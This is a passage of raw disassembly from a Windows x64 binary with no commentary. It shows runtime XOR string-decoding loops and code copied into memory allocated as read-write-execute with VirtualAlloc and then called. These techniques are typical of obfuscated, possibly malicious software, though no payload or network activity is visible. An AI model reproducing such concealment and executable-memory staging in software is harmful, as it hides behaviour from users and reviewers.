lea r9, [r9 + 2]
cmp esi, 0x14
jl 0x140245210
lea rdx, [rsp + 0x3e8]
lea rcx, [rsp + 0xb70]
call fcn.140257350
nop
lea rcx, [rsp + 0xb70]
call fcn.1402177e0
nop
lea rcx, [rsp + 0xb70]
call fcn.140258f70
mov byte [0x1402bfe51], 0
jmp 0x14024583e
movups xmm0, xmmword [0x1402a9528]
movups xmmword [rsp + 0x3c0], xmm0
movups xmm1, xmmword [0x1402a9538]
movups xmmword [rsp + 0x3d0], xmm1
movsd xmm0, qword [0x1402a9548]
movsd qword [rsp + 0x3e0], xmm0
cmp dword [0x1402bd008], 2
jl 0x1402454c6
movdqa xmm10, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad190]
mov eax, 6
movd xmm7, eax
movdqa xmm8, xmmword [0x1402ad180]
movdqa xmm11, xmmword [0x1402ad0e0]
mov eax, 0x1f
movd xmm9, eax
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm13, xmmword [str.AAAAAAAA]
lea rcx, [rsp + 0x3c0]
nop
movd xmm5, esi
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm9
paddd xmm2, xmm4
pmulld xmm2, xmm11
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm13
paddw xmm3, xmm0
movq xmm0, qword [rcx]
pxor xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [rsi + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm9
paddd xmm2, xmm4
pmulld xmm2, xmm11
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm13
paddw xmm3, xmm0
movq xmm0, qword [rcx + 8]
pxor xmm3, xmm0
movq qword [rcx + 8], xmm3
add esi, 8
mov eax, esi
lea rcx, [rcx + 0x10]
cmp esi, 0x10
jl 0x140245330
cmp eax, 0x14
jge 0x140245536
movsxd rax, esi
lea r9, [rsp + 0x3c0]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x9c09c09d
imul esi
add edx, esi
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul r8d, eax, 0x69
mov eax, 0x8fb823ef
imul esi
add edx, esi
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, bx
movzx ecx, dx
imul ecx, eax
sub cx, r8w
movzx eax, si
add ax, ax
add cx, 0x41
add cx, ax
xor word [r9], cx
inc esi
lea r9, [r9 + 2]
cmp esi, 0x14
jl 0x1402454e0
lea rdx, [rsp + 0x3c0]
lea rcx, [rsp + 0x990]
call fcn.140257350
nop
lea rcx, [rsp + 0x990]
call fcn.1402177e0
nop
lea rcx, [rsp + 0x990]
call fcn.140258f70
mov byte [0x1402bfe51], 0
jmp 0x14024583e
movups xmm0, xmmword [0x1402a9528]
movups xmmword [rsp + 0x398], xmm0
movups xmm1, xmmword [0x1402a9538]
movups xmmword [rsp + 0x3a8], xmm1
movsd xmm0, qword [0x1402a9548]
movsd qword [rsp + 0x3b8], xmm0
cmp dword [0x1402bd008], 2
jl 0x140245796
movdqa xmm10, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad190]
mov eax, 6
movd xmm7, eax
movdqa xmm8, xmmword [0x1402ad180]
movdqa xmm11, xmmword [0x1402ad0e0]
mov eax, 0x1f
movd xmm9, eax
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm13, xmmword [str.AAAAAAAA]
lea rcx, [rsp + 0x398]
nop
movd xmm5, esi
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm9
paddd xmm2, xmm4
pmulld xmm2, xmm11
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm13
paddw xmm3, xmm0
movq xmm0, qword [rcx]
pxor xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [rsi + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm2, xmm4
psrld xmm2, xmm9
paddd xmm2, xmm4
pmulld xmm2, xmm11
psubd xmm5, xmm2
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm13
paddw xmm3, xmm0
movq xmm0, qword [rcx + 8]
pxor xmm3, xmm0
movq qword [rcx + 8], xmm3
add esi, 8
mov eax, esi
lea rcx, [rcx + 0x10]
cmp esi, 0x10
jl 0x140245600
cmp eax, 0x14
jge 0x140245806
movsxd rax, esi
lea r9, [rsp + 0x398]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x9c09c09d
imul esi
add edx, esi
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul r8d, eax, 0x69
mov eax, 0x8fb823ef
imul esi
add edx, esi
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, bx
movzx ecx, dx
imul ecx, eax
sub cx, r8w
movzx eax, si
add ax, ax
add cx, 0x41
add cx, ax
xor word [r9], cx
inc esi
lea r9, [r9 + 2]
cmp esi, 0x14
jl 0x1402457b0
lea rdx, [rsp + 0x398]
lea rcx, [rsp + 0x9b0]
call fcn.140257350
nop
lea rcx, [rsp + 0x9b0]
call fcn.1402177e0
nop
lea rcx, [rsp + 0x9b0]
call fcn.140258f70
mov byte [0x1402bfe51], 0
lea rcx, [rsp + 0x10c0]
call fcn.140258f70
nop
lea rcx, [rsp + 0xf18]
call fcn.140259200
nop
lea rcx, [rsp + 0xeb8]
call fcn.140259200
nop
lea rcx, [rsp + 0xe98]
jmp 0x14024afb0
mov eax, dword [0x1402aa19c]
mov dword [rsp + 0x194], eax
cmp byte [0x1402aa19f], 0
je 0x140245a47
cmp dword [0x1402bd008], 2
jl 0x1402459d6
mov ecx, 6
movd xmm5, ecx
mov ecx, 0x1f
movd xmm7, ecx
movdqa xmm8, xmmword [0x1402ad0a0]
movdqa xmm4, xmm8
punpckldq xmm4, xmm8
movdqa xmm2, xmm8
punpckhdq xmm2, xmm8
movdqa xmm6, xmm4
pmuldq xmm6, xmmword [0x1402ad190]
movdqa xmm0, xmm2
pmuldq xmm0, xmmword [0x1402ad190]
shufps xmm6, xmm0, 0xdd
paddd xmm6, xmm8
psrad xmm6, xmm5
pmuldq xmm4, xmmword [0x1402ad180]
pmuldq xmm2, xmmword [0x1402ad180]
shufps xmm4, xmm2, 0xdd
psubd xmm4, xmm8
psrad xmm4, xmm5
movdqa xmm1, xmm4
psrld xmm1, xmm7
paddd xmm1, xmm4
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm6
psrld xmm0, xmm7
paddd xmm0, xmm6
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm8, xmm0
pshuflw xmm0, xmm8, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmmword [str.AAAAAAAAAAAAAAAA]
movd xmm0, eax
pxor xmm3, xmm0
movd dword [rsp + 0x194], xmm3
jmp 0x140245a47
lea r10, [rsp + 0x194]
mov r9d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 4
jl 0x1402459f0
lea rcx, [rsp + 0x194]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x140245a56
mov rcx, rdi
cmp qword [0x1402c0278], 0x10
cmovae rcx, qword [0x1402c0260]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x194]
xor r8d, r8d
mov r15, qword [0x1402c0270]
mov rdx, r15
call fcn.14025c7e0
cmp rax, 0xffffffffffffffff
jne 0x140245b4e
mov eax, dword [0x1402aa68c]
mov dword [rsp + 0x100], eax
movzx ecx, word [0x1402aa690]
mov word [rsp + 0x104], cx
movzx eax, byte [0x1402aa692]
mov byte [rsp + 0x100], 0x52
xor byte [rsp + 0x101], 0x43
xor byte [rsp + 0x102], 0x45
xor byte [rsp + 0x103], 0x47
xor cl, 0x49
mov byte [rsp + 0x104], cl
xor byte [rsp + 0x105], 0x4b
xor al, 0x4d
mov byte [rsp + 0x106], al
lea rcx, [rsp + 0x100]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140245b10
cmp qword [0x1402c0278], 0x10
cmovae rdi, qword [0x1402c0260]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x100]
xor r8d, r8d
mov rdx, r15
mov rcx, rdi
call fcn.14025c7e0
cmp rax, 0xffffffffffffffff
je 0x14024afc0
lea rcx, [rsp + 0xcd0]
cmp qword [rsp + 0xce8], 0x10
cmovae rcx, r12
cmp rbx, 1
jne 0x140245b80
mov r8, rbx
lea rdx, [0x1402a8170]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14024afc0
movsd xmm0, qword [str._a6_]
movsd qword [rsp + 0x1e0], xmm0
mov eax, dword [0x1402aad08]
mov dword [rsp + 0x1e8], eax
mov r12d, dword [0x1402bd008]
cmp byte [0x1402aad0b], 0
je 0x140245e17
mov r9d, esi
cmp r12d, 2
jl 0x140245daf
movdqa xmm7, xmmword [0x1402ad190]
mov eax, 6
movd xmm9, eax
movdqa xmm8, xmmword [0x1402ad180]
mov eax, 0x1f
movd xmm11, eax
movdqa xmm5, xmmword [0x1402ad0a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
mov eax, dword [str.AAAAAAAAAAAAAAAA]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [str._a6_]
pxor xmm3, xmm0
movd dword [rsp + 0x1e0], xmm3
movdqa xmm5, xmmword [0x1402ad0c0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm9
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm9
movdqa xmm1, xmm2
psrld xmm1, xmm11
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm11
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0x1e4]
pxor xmm3, xmm1
movd dword [rsp + 0x1e4], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0x1e0]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xc
jl 0x140245dc0
xorps xmm0, xmm0
movups xmmword [rsp + 0xd90], xmm0
mov qword [rsp + 0xda0], rsi
mov qword [rsp + 0xda8], rsi
lea rax, [rsp + 0x1e0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140245e41
lea rdx, [rsp + 0x1e0]
lea rcx, [rsp + 0xd90]
call fcn.14021d330
nop
lea rdi, [fcn.140202680]
mov eax, dword [0x1402aa19c]
mov dword [rsp + 0x198], eax
cmp byte [0x1402aa19f], 0
je 0x140245ff7
cmp r12d, 2
jl 0x140245f8f
mov ecx, 6
movd xmm5, ecx
mov ecx, 0x1f
movd xmm7, ecx
movdqa xmm8, xmmword [0x1402ad0a0]
movdqa xmm4, xmm8
punpckldq xmm4, xmm8
movdqa xmm2, xmm8
punpckhdq xmm2, xmm8
movdqa xmm6, xmm4
pmuldq xmm6, xmmword [0x1402ad190]
movdqa xmm0, xmm2
pmuldq xmm0, xmmword [0x1402ad190]
shufps xmm6, xmm0, 0xdd
paddd xmm6, xmm8
psrad xmm6, xmm5
pmuldq xmm4, xmmword [0x1402ad180]
pmuldq xmm2, xmmword [0x1402ad180]
shufps xmm4, xmm2, 0xdd
psubd xmm4, xmm8
psrad xmm4, xmm5
movdqa xmm1, xmm4
psrld xmm1, xmm7
paddd xmm1, xmm4
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm6
psrld xmm0, xmm7
paddd xmm0, xmm6
pmulld xmm0, xmmword [0x1402ad0e0]
psubd xmm8, xmm0
pshuflw xmm0, xmm8, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmmword [str.AAAAAAAAAAAAAAAA]
movd xmm0, eax
pxor xmm3, xmm0
movd dword [rsp + 0x198], xmm3
jmp 0x140245ff7
lea r10, [rsp + 0x198]
mov r9d, esi
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 4
jl 0x140245fa0
lea rax, [rsp + 0x198]
mov qword [rsp + 0x498], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xfb0], xmm0
lea rax, [rsp + 0x6308]
mov qword [rsp + 0xfb8], r13
mov qword [rsp + 0xfc0], rax
mov rbx, qword [rax]
xor rbx, r13
mov qword [rsp + 0xfb0], rbx
mov qword [rax], rsi
mov ecx, esi
mov rax, qword [0x1402c1d70]
lea r15, [0x14025b2b0]
test rax, rax
je 0x14024607c
mov rdx, rsi
cmp rax, r15
je 0x14024606b
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x2c1d70]
test rax, rax
jne 0x140246053
jmp 0x14024607c
mov r8, qword [r14 + rdx*8 + 0x2c0730]
test r8, r8
jne 0x14024615f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1402460a3
mov r8, rsi
jmp 0x14024613e
mov rax, r15
mov rcx, r8
mov edx, 3
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1402460b0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402c0d88]
mov qword [r14 + rax*8 + 0x2c1d70], r15
mov qword [r14 + rax*8 + 0x2c0730], r8
inc rax
mov qword [0x1402c0d88], rax
lea rdx, [rsp + 0x498]
mov rcx, rdi
call r8
nop
xor rbx, r13
mov qword [rsp + 0xfb0], rbx
lea rax, [rsp + 0x6308]
mov qword [rax], rbx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov r15, rax
lea rbx, [rsp + 0xcd0]
cmp qword [rsp + 0xce8], 0x10
cmovae rbx, qword [rsp + 0xcd0]
mov dword [rax], esi
mov r8d, 0xa
lea rdx, [rsp + 0xc90]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
cmp rbx, qword [rsp + 0xc90]
jne 0x1402461d7
lea rcx, str.invalid_stoi_argument
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xinvalid_argument_char_const____ptr64_]
cmp dword [r15], 0x22
jne 0x1402461ea
lea rcx, str.stoi_argument_out_of_range
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const____ptr64_]
cmp eax, 0x28
jl 0x140246218
lea rcx, [rsp + 0xcd0]
call fcn.140203200
cmp eax, 0x64
jg 0x140246218
lea rdx, [rsp + 0xcd0]
lea rcx, [rsp + 0xcd0]
call fcn.1402576e0
jmp 0x14024624e
movzx eax, word [0x1402abde8]
mov word [rsp + 0x74], ax
movzx eax, byte [0x1402abdea]
mov byte [rsp + 0x74], 0x38
xor byte [rsp + 0x75], 0x43
xor al, 0x45
mov byte [rsp + 0x76], al
lea rdx, [rsp + 0x74]
lea rcx, [rsp + 0xcd0]
call fcn.1402576c0
nop
jmp 0x140246271
mov r15d, 0x1f
lea ebx, [r15 - 0x19]
movzx eax, word [0x1402aa2dc]
mov word [rsp + 0x7c], ax
cmp byte [0x1402aa2dd], 0
je 0x14024629a
mov byte [rsp + 0x7c], 0x3a
xor byte [rsp + 0x7d], 0x43
lea rax, [rsp + 0x7c]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], 0
jne 0x1402462a6
movabs rax, 0x7fffffffffffffff
mov rdx, qword [rsp + 0xdd8]
sub rax, rdx
cmp rax, rcx
jb 0x14024b577
lea r9, [rsp + 0xdc8]
cmp qword [rsp + 0xde0], 0x10
cmovae r9, qword [rsp + 0xdc8]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x7c]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x9d0]
call fcn.14025e2d0
nop
lea rdx, [rsp + 0xe08]
cmp qword [rsp + 0xe20], 0x10
cmovae rdx, qword [rsp + 0xe08]
mov r8, qword [rsp + 0xe18]
lea rcx, [rsp + 0x9d0]
call fcn.140257640
xorps xmm0, xmm0
movups xmmword [rsp + 0xef8], xmm0
mov qword [rsp + 0xf08], rsi
mov qword [rsp + 0xf10], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xef8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xf08], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0x9d0]
call fcn.140259200
movzx eax, word [0x1402a957c]
mov word [rsp + 0x80], ax
cmp byte [0x1402a957d], 0
je 0x1402463ae
mov byte [rsp + 0x80], 0x2e
xor byte [rsp + 0x81], 0x43
lea rax, [rsp + 0x80]
mov rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x1402463c0
movabs rax, 0x7fffffffffffffff
mov rdx, qword [rsp + 0xdf8]
sub rax, rdx
cmp rax, rcx
jb 0x14024b57d
lea r9, [rsp + 0xde8]
cmp qword [rsp + 0xe00], 0x10
cmovae r9, qword [rsp + 0xde8]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x80]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x9f0]
call fcn.14025e2d0
nop
lea rdx, [rsp + 0xe48]
cmp qword [rsp + 0xe60], 0x10
cmovae rdx, qword [rsp + 0xe48]
mov r8, qword [rsp + 0xe58]
lea rcx, [rsp + 0x9f0]
call fcn.140257640
xorps xmm0, xmm0
movups xmmword [rsp + 0xed8], xmm0
mov qword [rsp + 0xee8], rsi
mov qword [rsp + 0xef0], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xed8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xee8], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0x9f0]
call fcn.140259200
mov eax, dword [0x1402ab9bc]
mov dword [rsp + 0xc0], eax
movzx eax, word [0x1402ab9c0]
mov word [rsp + 0xc4], ax
mov byte [rsp + 0xc0], 0x43
xor byte [rsp + 0xc1], 0x43
xor byte [rsp + 0xc2], 0x45
xor byte [rsp + 0xc3], 0x47
xor al, 0x49
mov byte [rsp + 0xc4], al
xor byte [rsp + 0xc5], 0x4b
lea rcx, [rsp + 0xc0]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x140246500
lea rcx, [rsp + 0xd70]
cmp qword [rsp + 0xd88], 0x10
cmovae rcx, qword [rsp + 0xd70]
mov r8, qword [rsp + 0xd80]
cmp r8, rax
jne 0x140246545
lea rdx, [rsp + 0xc0]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1402468bf
mov eax, dword [0x1402aa9d0]
mov dword [rsp + 0x180], eax
movzx eax, byte [0x1402aa9d4]
mov byte [rsp + 0x180], 0x4e
xor byte [rsp + 0x181], 0x43
xor byte [rsp + 0x182], 0x45
xor byte [rsp + 0x183], 0x47
xor al, 0x49
mov byte [rsp + 0x184], al
lea rdx, [rsp + 0x180]
lea rcx, [rsp + 0xd70]
call fcn.14025acb0
test al, al
jne 0x1402468bf
mov eax, dword [0x1402aabb8]
mov dword [rsp + 0x90], eax
cmp byte [0x1402aabbb], 0
je 0x140246727
cmp r12d, 2
jl 0x1402466bd
movd xmm5, ebx
movd xmm7, r15d
movdqa xmm8, xmmword [0x1402ad0a0]
movdqa xmm4, xmm8
punpckldq xmm4, xmm8
movdqa xmm2, xmm8
punpckhdq xmm2, xmm8
movdqa xmm6, xmm4
pmuldq xmm6, xmmword [0x1402ad190]
movdqa xmm0, xmm2
pmuldq xmm0, xmmword [0x1402ad190]
shufps xmm6, xmm0, 0xdd
paddd xmm6, xmm8
psrad xmm6, xmm5
pmuldq xmm4, xmmword [0x1402ad180]
pmuldq xmm2, xmmword [0x1402ad180]
shufps xmm4, xmm2, 0xdd
psubd xmm4, xmm8
psrad xmm4, xmm5
movdqa xmm1, xmm4
psrld xmm1, xmm7
paddd xmm1, xmm4
pmulld xmm1, xmmword [0x1402ad1a0]
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm6
psrld xmm0, xmm7
paddd xmm0, xmm6
pmulld xmm0, xmmword [0x1402ad0e0]
